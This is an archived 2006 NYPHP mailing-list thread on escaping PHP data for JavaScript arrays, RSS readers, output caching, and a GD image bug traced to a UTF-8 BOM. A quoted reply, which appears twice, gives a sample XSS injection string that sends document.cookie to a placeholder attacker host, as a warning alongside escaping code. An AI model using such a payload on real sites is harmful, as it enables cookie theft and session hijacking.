replace(unescape($str_with_HTML_and_special_chars),'+',' ')

Has not choked on anything.


Warmest regards,
 
Peter Sawczynec,
Technology Director
PSWebcode
_Design & Interface
_Ecommerce
_Database Management
ps at pswebcode.com
718.796.1951
www.pswebcode.com



-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org]
On Behalf Of Cliff Hirsch
Sent: Friday, July 07, 2006 1:47 PM
To: 'NYPHP Talk'
Subject: Re: [nycphp-talk] Passing JavaScript arrays


Thanks to all for the great responses -- very helpful. I've summarized
below:

> For security, do I just escape the output like any other variable
destined for the browser?

It depends where its coming from and what you're using it for. For
example, I have dynamic JS array's coming from the DB that may contain
HTML, and will eventually populate drop-down menu's.  For these, I pass
through a 'js cleansing' routine to trim, remove HTML tags, convert to
UTF-8 (or whatever), remove any line-breaks and escape all quotes. But
I'd be extremely wary if your JS data is coming from GET or POST.  I can
see a variable like the following jacking a JS array:

');
location='http://myevilserver.com/steal?your_cookies='+document.cookie;
//

If you're echoing a string from php into a javascript string var, you
need to escape it. Here's an example. The escapeString function here is
slightly modified from the one used in CakePHP's javascript helper:

<?php
function escapeString($string) {
   $escape = array("\r\n" => '\n', "\r" => '\n', "\n" => '\n', '"' =>
'\"', "'" => "\\'");
   return str_replace(array_keys($escape), array_values($escape),
$string); }

$string = "It's good to \"escape\" strings";
?>

<script language="javascript" type="text/javascript">
// <![CDATA[
   var string = '<?php echo escapeString($string); ?>';
   alert(string);
// ]]>
</script>

If you don't want the JS to be inline, you can create a separate PHP
file that only outputs JavaScript code:

<script type="text/javascript" src="js.php"></script>

Just make sure js.php has the following before you start outputting
JavaScript:

header('content-type:text/javascript');

(From what I understand, Apache will by default cache .js files but
force a request for .php templates.  This may affect the chi of your
app..  man..)

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From scott at crisscott.com  Mon Jul 10 08:20:04 2006
From: scott at crisscott.com (Scott Mattocks)
Date: Mon, 10 Jul 2006 08:20:04 -0400
Subject: [nycphp-talk] Phundamentals? And RSS?
In-Reply-To: <20060708122650.GB10406@leitz.reuel.net>
References: <20060708122650.GB10406@leitz.reuel.net>
Message-ID: <44B245F4.70902@crisscott.com>

leam at reuel.net wrote:

> Trying to find a simple PHP 4 RSS reader to put into some web pages. Any suggestions?

PEAR::XML_RSS
http://pear.php.net/manual/en/package.xml.xml-rss.php

-- 
Scott Mattocks
Author of: Pro PHP-GTK
http://www.crisscott.com


From mitch.pirtle at gmail.com  Mon Jul 10 13:37:36 2006
From: mitch.pirtle at gmail.com (Mitch Pirtle)
Date: Mon, 10 Jul 2006 13:37:36 -0400
Subject: [nycphp-talk] Local File versus DB-based configuration setting
	strategy
In-Reply-To: <20060709152404.M33857@pinestream.com>
References: <003601c6a1dd$5926fed0$0ba8a8c0@cliff>
	<44AFB72F.1080909@secdat.com>
	<330532b60607080739r5f3e15dem71da3f2e2aa477d@mail.gmail.com>
	<20060709152404.M33857@pinestream.com>
Message-ID: <330532b60607101037o531b9e0aw49f067d1ad531912@mail.gmail.com>

On 7/9/06, cliff <cliff at pinestream.com> wrote:
> Interesting idea, albiet a bit over my head. I like the idea of limiting the
> DB as single point of failure. On the other hand, a DB-intensive application
> is practically useless in the event of a DB failure anyway.

So you're not caching your output?  ;-)

-- Mitch


From pyurt at yahoo.com  Mon Jul 10 14:39:27 2006
From: pyurt at yahoo.com (P Yurt)
Date: Mon, 10 Jul 2006 11:39:27 -0700 (PDT)
Subject: [nycphp-talk] Local File versus DB-based configuration
	settingstrategy
Message-ID: <20060710183927.21247.qmail@web52211.mail.yahoo.com>

When you ask: So you're not caching your output?  ;-) 
Are you referring to caching the entire site so that is displays
without
hitting the PHP engine or DB server?  

If so, what is the price paid for "caching"

PYurt 

-----Original Message-----
From: talk-bounces at lists.nyphp.org
[mailto:talk-bounces at lists.nyphp.org] On
Behalf Of Mitch Pirtle
Sent: Monday, July 10, 2006 10:38 AM
To: NYPHP Talk
Subject: Re: [nycphp-talk] Local File versus DB-based
configuration
settingstrategy

On 7/9/06, cliff <cliff at pinestream.com> wrote:
> Interesting idea, albiet a bit over my head. I like the idea
of limiting
the
> DB as single point of failure. On the other hand, a
DB-intensive
application
> is practically useless in the event of a DB failure anyway.

So you're not caching your output?  ;-)

-- Mitch
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From ps at pswebcode.com  Mon Jul 10 14:57:37 2006
From: ps at pswebcode.com (Peter Sawczynec)
Date: Mon, 10 Jul 2006 14:57:37 -0400
Subject: [nycphp-talk] Passing JavaScript arrays
In-Reply-To: <003c01c6a41b$0eafeac0$0ba8a8c0@cliff>
Message-ID: <000001c6a452$b6519030$68e4a144@Rubicon>

No, I did not pass these as actual GET or POST data between web pages. This
technique was a jury-rig technique to get strings of HTML and other odd
characters safely into a client-side JavaScript array as follows: 

The data for the JavaScript slideshow array gets pulled from MySQL by PHP,
then with PHP the urlencode($db_data) step ensures that no character element
in the $db_data string (such as single-quote, double-quote, semi-colon or
backslash) gets interpreted by the JavaScript as a command that might throw
an error on the browser page.

Then in the actual JavaScript I found that the combined JavaScript
replace(unescape(<? echo $db_data ?>),'+',' ') nicely undoes the PHP
urlencoding and ensures that when JavaScript pushes a data array string into
the browser innerHTML element the string has a very high-chance of being
cross-browser compatible and the display to the user is pretty.

If this was not your technology issue, then forgive me for sending up this
suggestion.

Peter


-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On
Behalf Of Cliff Hirsch
Sent: Monday, July 10, 2006 8:19 AM
To: 'NYPHP Talk'
Subject: Re: [nycphp-talk] Passing JavaScript arrays


Interesting approach. How big was the array? It seems like this method might
produce unreasonably long URLs if there is extensive data.

-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org]
On Behalf Of Peter Sawczynec
Sent: Saturday, July 08, 2006 8:25 AM
To: 'NYPHP Talk'
Subject: Re: [nycphp-talk] Passing JavaScript arrays


Another possible basic technique for the PHP to JavaScript string data
transfer. 

Once upon creating a JavaScripted slideshow that rewrote the innerHTML in
div tags to change images and their complex multi-line descriptions, I found
this ditty worked for dynamically creating the JavaScript array of
image/text/HTML data.

1) In PHP do: urlencode($str_with_HTML_and_special_chars)

2) In the JavaScript do:
replace(unescape($str_with_HTML_and_special_chars),'+',' ')

Has not choked on anything.


Warmest regards,
 
Peter Sawczynec,
Technology Director
PSWebcode
_Design & Interface
_Ecommerce
_Database Management
ps at pswebcode.com
718.796.1951
www.pswebcode.com



-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org]
On Behalf Of Cliff Hirsch
Sent: Friday, July 07, 2006 1:47 PM
To: 'NYPHP Talk'
Subject: Re: [nycphp-talk] Passing JavaScript arrays


Thanks to all for the great responses -- very helpful. I've summarized
below:

> For security, do I just escape the output like any other variable
destined for the browser?

It depends where its coming from and what you're using it for. For example,
I have dynamic JS array's coming from the DB that may contain HTML, and will
eventually populate drop-down menu's.  For these, I pass through a 'js
cleansing' routine to trim, remove HTML tags, convert to UTF-8 (or
whatever), remove any line-breaks and escape all quotes. But I'd be
extremely wary if your JS data is coming from GET or POST.  I can see a
variable like the following jacking a JS array:

'); location='http://myevilserver.com/steal?your_cookies='+document.cookie;
//

If you're echoing a string from php into a javascript string var, you need
to escape it. Here's an example. The escapeString function here is slightly
modified from the one used in CakePHP's javascript helper:

<?php
function escapeString($string) {
   $escape = array("\r\n" => '\n', "\r" => '\n', "\n" => '\n', '"' => '\"',
"'" => "\\'");
   return str_replace(array_keys($escape), array_values($escape), $string);
}

$string = "It's good to \"escape\" strings";
?>

<script language="javascript" type="text/javascript">
// <![CDATA[
   var string = '<?php echo escapeString($string); ?>';
   alert(string);
// ]]>
</script>

If you don't want the JS to be inline, you can create a separate PHP file
that only outputs JavaScript code:

<script type="text/javascript" src="js.php"></script>

Just make sure js.php has the following before you start outputting
JavaScript:

header('content-type:text/javascript');

(From what I understand, Apache will by default cache .js files but force a
request for .php templates.  This may affect the chi of your app..  man..)

_______________________________________________
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From ajai at bitblit.net  Mon Jul 10 15:53:25 2006
From: ajai at bitblit.net (Ajai Khattri)
Date: Mon, 10 Jul 2006 15:53:25 -0400
Subject: [nycphp-talk] php and graph
In-Reply-To: <C0D44CC2.3F7AB%ekozek@rightmedia.com>
References: <C0D44CC2.3F7AB%ekozek@rightmedia.com>
Message-ID: <44B2B035.90706@bitblit.net>

Edward Kozek wrote:
> This package is great. We use it at Right Media all the time, and very easy
> to use and set up:
>
> http://www.maani.us/charts/index.php
Yeah, and the graphs look simply beautiful...



-- 
A


From cliff at pinestream.com  Tue Jul 11 11:56:43 2006
From: cliff at pinestream.com (cliff)
Date: Tue, 11 Jul 2006 10:56:43 -0500
Subject: [nycphp-talk] Passing JavaScript arrays
In-Reply-To: <000001c6a452$b6519030$68e4a144@Rubicon>
References: <003c01c6a41b$0eafeac0$0ba8a8c0@cliff>
	<000001c6a452$b6519030$68e4a144@Rubicon>
Message-ID: <20060711155643.M3981@pinestream.com>

Actually, this make perfect sense now. The code I inherited did nothing of the
sort and your explanation leads me to believe I have just been lucky so far.

On another note, I found a PEAR library that does basicly the same thing. I
don't take advantage of PEAR often enough, but looking at the code
(HTML_Javascript) makes me realize it usually accounts for things that I won't
realize until the gene hits.

Cliff

On Mon, 10 Jul 2006 14:57:37 -0400, Peter Sawczynec wrote
> No, I did not pass these as actual GET or POST data between web 
> pages. This technique was a jury-rig technique to get strings of 
> HTML and other odd characters safely into a client-side JavaScript 
> array as follows: 
> 
> The data for the JavaScript slideshow array gets pulled from MySQL 
> by PHP, then with PHP the urlencode($db_data) step ensures that no 
> character element in the $db_data string (such as single-quote,
>  double-quote, semi-colon or backslash) gets interpreted by the 
> JavaScript as a command that might throw an error on the browser page.
> 
> Then in the actual JavaScript I found that the combined JavaScript
> replace(unescape(<? echo $db_data ?>),'+',' ') nicely undoes the PHP
> urlencoding and ensures that when JavaScript pushes a data array 
> string into the browser innerHTML element the string has a very high-
> chance of being cross-browser compatible and the display to the user 
> is pretty.
> 
> If this was not your technology issue, then forgive me for sending 
> up this suggestion.
> 
> Peter


From kamm at andrewkamm.com  Wed Jul 12 16:45:08 2006
From: kamm at andrewkamm.com (Andrew Kamm)
Date: Wed, 12 Jul 2006 15:45:08 -0500
Subject: [nycphp-talk] PHP GD problems
Message-ID: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com>

Hello all -- I'm having a problem with image creation with PHP and even
though it appears my bases are covered, I can't get it resolved. I ran
gd_info() and it appears to be alright for what I need (BTW, this is a Win
server w/ PHP5.1.4, but I've also tried it on a Linux box and got the same
results):

Array
(
    [GD Version] => bundled (2.0.28 compatible)
    [FreeType Support] => 1
    [FreeType Linkage] => with freetype
    [T1Lib Support] => 1
    [GIF Read Support] => 1
    [GIF Create Support] => 1
    [JPG Support] => 1
    [PNG Support] => 1
    [WBMP Support] => 1
    [XPM Support] =>
    [XBM Support] => 1
    [JIS-mapped Japanese Font Support] =>
)

I've tried several different code snippets and get the same result:

In Firefox:
"The image "http://example.com/scripts/test.php" cannot be displayed,
because it contains errors."

In Safari:
Nothing -- but if you right-click anywhere on the screen it gives the same
dialogue box you'd get if you right-clicked an image.

As an example of the code I've been trying, I used the one below (from
PHP.net). I've made sure there is no additional whitespace outside of the
php tags.

<?php
header("Content-type: image/png");
$im = @imagecreate(100, 50)
   or die("Cannot Initialize new GD image stream");
$background_color = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);
imagepng($im);
imagedestroy($im);
?>

Any ideas? All the similar problem/solutions I've found on Google seem to
relate to people having whitespace before the <?php tag.

thanks!

-- 
Andrew Kamm
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From jeff.knight at gmail.com  Wed Jul 12 16:56:03 2006
From: jeff.knight at gmail.com (Jeff Knight)
Date: Wed, 12 Jul 2006 15:56:03 -0500
Subject: [nycphp-talk] PHP GD problems
In-Reply-To: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com>
References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com>
Message-ID: <2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com>

Try sending the headers at the last possible moment, i.e. just before
imagepng() so that if you do generate an error, it will display on the
page, and get rid of that @, you want to know if it is failing.

On 7/12/06, Andrew Kamm <kamm at andrewkamm.com> wrote:
> Hello all -- I'm having a problem with image creation with PHP and even
> though it appears my bases are covered, I can't get it resolved. I ran
> gd_info() and it appears to be alright for what I need (BTW, this is a Win
> server w/ PHP5.1.4, but I've also tried it on a Linux box and got the same
> results):
>
> Array
> (
>     [GD Version] => bundled (2.0.28 compatible)
>     [FreeType Support] => 1
>     [FreeType Linkage] => with freetype
>     [T1Lib Support] => 1
>     [GIF Read Support] => 1
>     [GIF Create Support] => 1
>     [JPG Support] => 1
>     [PNG Support] => 1
>     [WBMP Support] => 1
>     [XPM Support] =>
>      [XBM Support] => 1
>     [JIS-mapped Japanese Font Support] =>
> )
>
> I've tried several different code snippets and get the same result:
>
> In Firefox:
> "The image "http://example.com/scripts/test.php" cannot be
> displayed, because it contains errors."
>
> In Safari:
> Nothing -- but if you right-click anywhere on the screen it gives the same
> dialogue box you'd get if you right-clicked an image.
>
> As an example of the code I've been trying, I used the one below (from
> PHP.net). I've made sure there is no additional whitespace outside of the
> php tags.
>
> <?php
> header("Content-type: image/png");
> $im = @imagecreate(100, 50)
>    or die("Cannot Initialize new GD image stream");
> $background_color = imagecolorallocate($im, 255, 255, 255);
> $text_color = imagecolorallocate($im, 233, 14, 91);
> imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);
> imagepng($im);
> imagedestroy($im);
> ?>
>
> Any ideas? All the similar problem/solutions I've found on Google seem to
> relate to people having whitespace before the <?php tag.
>
> thanks!
>
> --
> Andrew Kamm
> _______________________________________________
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From tedd at sperling.com  Wed Jul 12 17:48:01 2006
From: tedd at sperling.com (tedd)
Date: Wed, 12 Jul 2006 17:48:01 -0400
Subject: [nycphp-talk] PHP GD problems
In-Reply-To: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com>
References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com>
Message-ID: <p06230900c0db1d20dd97@[192.168.0.100]>

At 3:45 PM -0500 7/12/06, Andrew Kamm wrote:
>Hello all -- I'm having a problem with image creation with PHP and even though it appears my bases are covered, I can't get it resolved. I ran gd_info() and it appears to be alright for what I need (BTW, this is a Win server w/ PHP5.1.4, but I've also tried it on a Linux box and got the same results):
>
>Array
>(
>    [GD Version] => bundled (2.0.28 compatible)
>    [FreeType Support] => 1
>    [FreeType Linkage] => with freetype
>    [T1Lib Support] => 1
>    [GIF Read Support] => 1
>    [GIF Create Support] => 1
>    [JPG Support] => 1
>    [PNG Support] => 1
>    [WBMP Support] => 1
>    [XPM Support] =>
>    [XBM Support] => 1
>    [JIS-mapped Japanese Font Support] =>
>)
>
>I've tried several different code snippets and get the same result:
>
>In Firefox:
>"The image "http://example.com/scripts/test.php" cannot be displayed, because it contains errors."
>
>In Safari:
>Nothing -- but if you right-click anywhere on the screen it gives the same dialogue box you'd get if you right-clicked an image.
>
>As an example of the code I've been trying, I used the one below (from PHP.net). I've made sure there is no additional whitespace outside of the php tags.
>
><?php
>header("Content-type: image/png");
>$im = @imagecreate(100, 50)
>   or die("Cannot Initialize new GD image stream");
>$background_color = imagecolorallocate($im, 255, 255, 255);
>$text_color = imagecolorallocate($im, 233, 14, 91);
>imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);
>imagepng($im);
>imagedestroy($im);
>?>
>
>Any ideas? All the similar problem/solutions I've found on Google seem to relate to people having whitespace before the <?php tag.
>
>thanks!
>
>--
>Andrew Kamm

Andrew:

Your code runs "as-is" just fine -- see:

http://xn--ovg.com/text/

The text is a tad small, but it works.

tedd
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From kamm at andrewkamm.com  Thu Jul 13 10:23:35 2006
From: kamm at andrewkamm.com (Andrew Kamm)
Date: Thu, 13 Jul 2006 09:23:35 -0500
Subject: [nycphp-talk] PHP GD problems
In-Reply-To: <2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com>
References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com>
	<2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com>
Message-ID: <2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com>

On 7/12/06, Jeff Knight wrote:
>
> Try sending the headers at the last possible moment, i.e. just before
> imagepng() so that if you do generate an error, it will display on the
> page, and get rid of that @, you want to know if it is failing.
>
>
> Still having problems -- I tried moving the header(), but it gave me the
'headers already sent' error.

However, having gone back to the original code and removing the '@', my
Linux server did provide a header error and a bunch of goofy characters (the
Windows box still gives "The image "..." cannot be displayed because it has
errors"). Oddly, the header call is the absolute first thing on the script
(and again -- no there's no white space prior to the <?php tag).

Here's what I'm using right now:

<?php
header("Content-type: image/png");
$im = imagecreate(100, 50) or die("Cannot Initialize new GD image stream");
$background_color = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);
imagepng($im);
imagedestroy($im);
?>

Here's what the Linux box is spitting out:

*Warning*: Cannot modify header information - headers already sent by
(output started at /home/.../public_html/test.php:1) in *
/home/.../public_html/test.php* on line *2*
?PNG 
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From kenrbnsn at rbnsn.com  Thu Jul 13 10:39:35 2006
From: kenrbnsn at rbnsn.com (Ken Robinson)
Date: Thu, 13 Jul 2006 10:39:35 -0400
Subject: [nycphp-talk] PHP GD problems
In-Reply-To: <2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com
 >
References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com>
	<2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com>
	<2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com>
Message-ID: <7.0.1.0.2.20060713103709.0ab4de40@rbnsn.com>

At 10:23 AM 7/13/2006, Andrew Kamm wrote:

>Still having problems -- I tried moving the 
>header(), but it gave me the 'headers already sent' error.
>
>However, having gone back to the original code 
>and removing the '@', my Linux server did 
>provide a header error and a bunch of goofy 
>characters (the Windows box still gives "The 
>image "..." cannot be displayed because it has 
>errors"). Oddly, the header call is the absolute 
>first thing on the script (and again -- no 
>there's no white space prior to the <?php tag).
>
>Here's what I'm using right now:
>
><?php
>header("Content-type: image/png");
>$im = imagecreate(100, 50) or die("Cannot Initialize new GD image stream");
>$background_color = imagecolorallocate($im, 255, 255, 255);
>$text_color = imagecolorallocate($im, 233, 14, 91);
>imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);
>imagepng($im);
>imagedestroy($im);
>?>
>
>Here's what the Linux box is spitting out:
>
>Warning: Cannot modify header information - 
>headers already sent by (output started at 
>/home/.../public_html/test.php:1) in /home/.../public_html/test.php on line 2
>???PNG

What is at line 11 of 
/home/.../public_html/test.php?  How are you 
invoking this script?  The "funny" characters are 
the PNG image being displayed as ASCII.

Ken 



From kamm at andrewkamm.com  Thu Jul 13 10:51:45 2006
From: kamm at andrewkamm.com (Andrew Kamm)
Date: Thu, 13 Jul 2006 09:51:45 -0500
Subject: [nycphp-talk] PHP GD problems
In-Reply-To: <7.0.1.0.2.20060713103709.0ab4de40@rbnsn.com>
References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com>
	<2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com>
	<2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com>
	<7.0.1.0.2.20060713103709.0ab4de40@rbnsn.com>
Message-ID: <2f9393800607130751h55fae0c0o6bd204f707238f7a@mail.gmail.com>

> What is at line 11 of
> /home/.../public_html/test.php?  How are you
> invoking this script?  The "funny" characters are
> the PNG image being displayed as ASCII.
>
> Ken



There's nothing at line 11 -- it's only 9 lines long and there's no white
space or new lines after the closing ?>. Right now I'm calling it just by
typing the URL to the script into a browser. In the end, I'd like to call it
via an <img src="..." /> tag.

thanks-

-- 
Andrew Kamm
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From ps at pswebcode.com  Thu Jul 13 10:57:18 2006
From: ps at pswebcode.com (Peter Sawczynec)
Date: Thu, 13 Jul 2006 10:57:18 -0400
Subject: [nycphp-talk] PHP GD problems
In-Reply-To: <2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com>
Message-ID: <001101c6a68c$a2ec1150$68e4a144@Rubicon>

Couple of things maybe:
1) I believe, that on a few occasions I have found strange hidden invisible character(s) embedded in a file by an editor like Dreamweaver say that has caused code to break. Retype this file fresh in a new plain text file. Then change file extension as needed. Delete your old file totally from the server and then upload new. Do not overwrite.
2) If you are including this patch of PHP code by calling it from another parent PHP file, then be sure there is no white space laying around in any other file used in this task. 
3) Is there an autoprepend file directive somewhere.
4) Lastly, isn't there some documented issues that depending on your Server environment and the Browser/OS on the client-side that there can be issues where particularly IE will try to ignore mangle your headers and actually perpetuates its own, something like that. maybe try adding other headers before such as theses shown below (only samples, you need the find and fill in the exact ones that work for you):
 
header("Expires: Mon, 23 Jul 1993 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
header ("Content-disposition: inline; filename=".basename($file).";");
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($file));
header('Content-type: image/jpeg');
 
Things like the above can untwist this.
 
Peter

 

-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Andrew Kamm
Sent: Thursday, July 13, 2006 10:24 AM
To: NYPHP Talk
Subject: Re: [nycphp-talk] PHP GD problems



On 7/12/06, Jeff Knight wrote: 

Try sending the headers at the last possible moment, i.e. just before
imagepng() so that if you do generate an error, it will display on the
page, and get rid of that @, you want to know if it is failing.




Still having problems -- I tried moving the header(), but it gave me the 'headers already sent' error. 

However, having gone back to the original code and removing the '@', my Linux server did provide a header error and a bunch of goofy characters (the Windows box still gives "The image "..." cannot be displayed because it has errors"). Oddly, the header call is the absolute first thing on the script (and again -- no there's no white space prior to the <?php tag). 

Here's what I'm using right now:

<?php
header("Content-type: image/png");
$im = imagecreate(100, 50) or die("Cannot Initialize new GD image stream");
$background_color = imagecolorallocate($im, 255, 255, 255); 
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);
imagepng($im);
imagedestroy($im);
?>

Here's what the Linux box is spitting out: 

Warning: Cannot modify header information - headers already sent by (output started at /home/.../public_html/test.php:1) in /home/.../public_html/test.php on line 2
?PNG  

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From kenrbnsn at rbnsn.com  Thu Jul 13 10:59:48 2006
From: kenrbnsn at rbnsn.com (Ken Robinson)
Date: Thu, 13 Jul 2006 10:59:48 -0400
Subject: [nycphp-talk] PHP GD problems
In-Reply-To: <2f9393800607130751h55fae0c0o6bd204f707238f7a@mail.gmail.co
 m>
References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com>
	<2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com>
	<2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com>
	<7.0.1.0.2.20060713103709.0ab4de40@rbnsn.com>
	<2f9393800607130751h55fae0c0o6bd204f707238f7a@mail.gmail.com>
Message-ID: <7.0.1.0.2.20060713105650.0ada70c8@rbnsn.com>

At 10:51 AM 7/13/2006, Andrew Kamm wrote:

>There's nothing at line 11 -- it's only 9 lines long and there's no 
>white space or new lines after the closing ?>. Right now I'm calling 
>it just by typing the URL to the script into a browser. In the end, 
>I'd like to call it via an <img src="..." /> tag.

I copied your script to my local machine and it worked fine.  Your 
server is telling you that it thinks there are more than 9 lines in 
your file. Make sure there are no spaces before the script also.

Ken 



From ps at pswebcode.com  Thu Jul 13 11:02:05 2006
From: ps at pswebcode.com (Peter Sawczynec)
Date: Thu, 13 Jul 2006 11:02:05 -0400
Subject: [nycphp-talk] PHP GD problems
In-Reply-To: <2f9393800607130751h55fae0c0o6bd204f707238f7a@mail.gmail.com>
Message-ID: <001b01c6a68d$4e713780$68e4a144@Rubicon>

Then, one last thing. Isn't it also true the IE in particular still has
issues with PNG display in general again based on client side browser
version and OS combined. Peter

-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On
Behalf Of Andrew Kamm
Sent: Thursday, July 13, 2006 10:52 AM
To: NYPHP Talk
Subject: Re: [nycphp-talk] PHP GD problems




What is at line 11 of
/home/.../public_html/test.php?  How are you
invoking this script?  The "funny" characters are 
the PNG image being displayed as ASCII.

Ken


 
There's nothing at line 11 -- it's only 9 lines long and there's no white
space or new lines after the closing ?>. Right now I'm calling it just by
typing the URL to the script into a browser. In the end, I'd like to call it
via an <img src="..." /> tag. 

thanks-


-- 
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From jeff.knight at gmail.com  Thu Jul 13 11:07:27 2006
From: jeff.knight at gmail.com (Jeff Knight)
Date: Thu, 13 Jul 2006 10:07:27 -0500
Subject: [nycphp-talk] PHP GD problems
In-Reply-To: <2f9393800607130751h55fae0c0o6bd204f707238f7a@mail.gmail.com>
References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com>
	<2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com>
	<2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com>
	<7.0.1.0.2.20060713103709.0ab4de40@rbnsn.com>
	<2f9393800607130751h55fae0c0o6bd204f707238f7a@mail.gmail.com>
Message-ID: <2ca9ba910607130807s14784ff4h278b9577259eb383@mail.gmail.com>

The "headers are already sent" because at some point, something in the
script is sending output. Try running the script  after commenting out
the header() and imagepng() lines and see if that provides a more
useful error.

I'm really not sure where this notion of "line 11" came from,
something in line 1 is sending output, which supports Sawczynec's bad
character theory.


On 7/13/06, Andrew Kamm <kamm at andrewkamm.com> wrote:
>
>
> > What is at line 11 of
> > /home/.../public_html/test.php?  How are you
> > invoking this script?  The "funny" characters are
> > the PNG image being displayed as ASCII.
> >
> > Ken
>
>
> There's nothing at line 11 -- it's only 9 lines long and there's no white
> space or new lines after the closing ?>. Right now I'm calling it just by
> typing the URL to the script into a browser. In the end, I'd like to call it
> via an <img src="..." /> tag.
>
> thanks-
>
> --
> Andrew Kamm
> _______________________________________________
> New York PHP Community Talk Mailing List
> http://lists.nyphp.org/mailman/listinfo/talk
> New York PHP Conference and Expo 2006
> http://www.nyphpcon.com
> Show Your Participation in New York PHP
> http://www.nyphp.org/show_participation.php
>
>
>


From dcech at phpwerx.net  Thu Jul 13 11:08:36 2006
From: dcech at phpwerx.net (Dan Cech)
Date: Thu, 13 Jul 2006 11:08:36 -0400
Subject: [nycphp-talk] PHP GD problems
In-Reply-To: <7.0.1.0.2.20060713103709.0ab4de40@rbnsn.com>
References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com>	<2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com>	<2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com>
	<7.0.1.0.2.20060713103709.0ab4de40@rbnsn.com>
Message-ID: <44B661F4.3080304@phpwerx.net>

Ken Robinson wrote:
> At 10:23 AM 7/13/2006, Andrew Kamm wrote:
>> Here's what I'm using right now:
>>
>> <?php
>> header("Content-type: image/png");
>> $im = imagecreate(100, 50) or die("Cannot Initialize new GD image stream");
>> $background_color = imagecolorallocate($im, 255, 255, 255);
>> $text_color = imagecolorallocate($im, 233, 14, 91);
>> imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);
>> imagepng($im);
>> imagedestroy($im);
>> ?>
>>
>> Here's what the Linux box is spitting out:
>>
>> Warning: Cannot modify header information - 
>> headers already sent by (output started at 
>> /home/.../public_html/test.php:1) in /home/.../public_html/test.php on line 2
>> ???PNG

This little snippet is a dead giveaway that the file in question is
encoded with UTF-8 including the Unicode BOM.

Therefore, PHP sees line 1 as:

???<?php

and begins the output at line 1.  Remove the Unicode BOM and you'll be fine.

That said, closing PHP tags at the end of your files can also cause
these kinds of headaches, which is why I prefer to end all my php files
with the following:

// end of script

followed by a single newline

Dan


From kamm at andrewkamm.com  Thu Jul 13 11:20:44 2006
From: kamm at andrewkamm.com (Andrew Kamm)
Date: Thu, 13 Jul 2006 10:20:44 -0500
Subject: [nycphp-talk] PHP GD problems
In-Reply-To: <44B661F4.3080304@phpwerx.net>
References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com>
	<2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com>
	<2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com>
	<7.0.1.0.2.20060713103709.0ab4de40@rbnsn.com>
	<44B661F4.3080304@phpwerx.net>
Message-ID: <2f9393800607130820t55628234s1599c913bb80a1fe@mail.gmail.com>

On 7/13/06, Dan Cech wrote:
>
>
> This little snippet is a dead giveaway that the file in question is
> encoded with UTF-8 including the Unicode BOM.




Bingo --- that was it. I switched it to Mac OS Roman and all is well. Thanks
so much everyone for the help.

-- 
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From urb at e-government.com  Thu Jul 13 14:34:09 2006
From: urb at e-government.com (Urb LeJeune)
Date: Thu, 13 Jul 2006 14:34:09 -0400
Subject: [nycphp-talk] PHP GD problems
In-Reply-To: <2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com
 >
References: <2f9393800607121345h6965d384t70a4fd155b44b2ab@mail.gmail.com>
	<2ca9ba910607121356y1455274en12532af16ed3198f@mail.gmail.com>
	<2f9393800607130723m63498e8au20763f1a1eedb03@mail.gmail.com>
Message-ID: <7.0.1.0.0.20060713143316.03b35c20@e-government.com>


>Warning: Cannot modify header information - headers already sent by 
>(output started at /home/.../public_html/test.php:1) in 
>/home/.../public_html/test.php on line 2
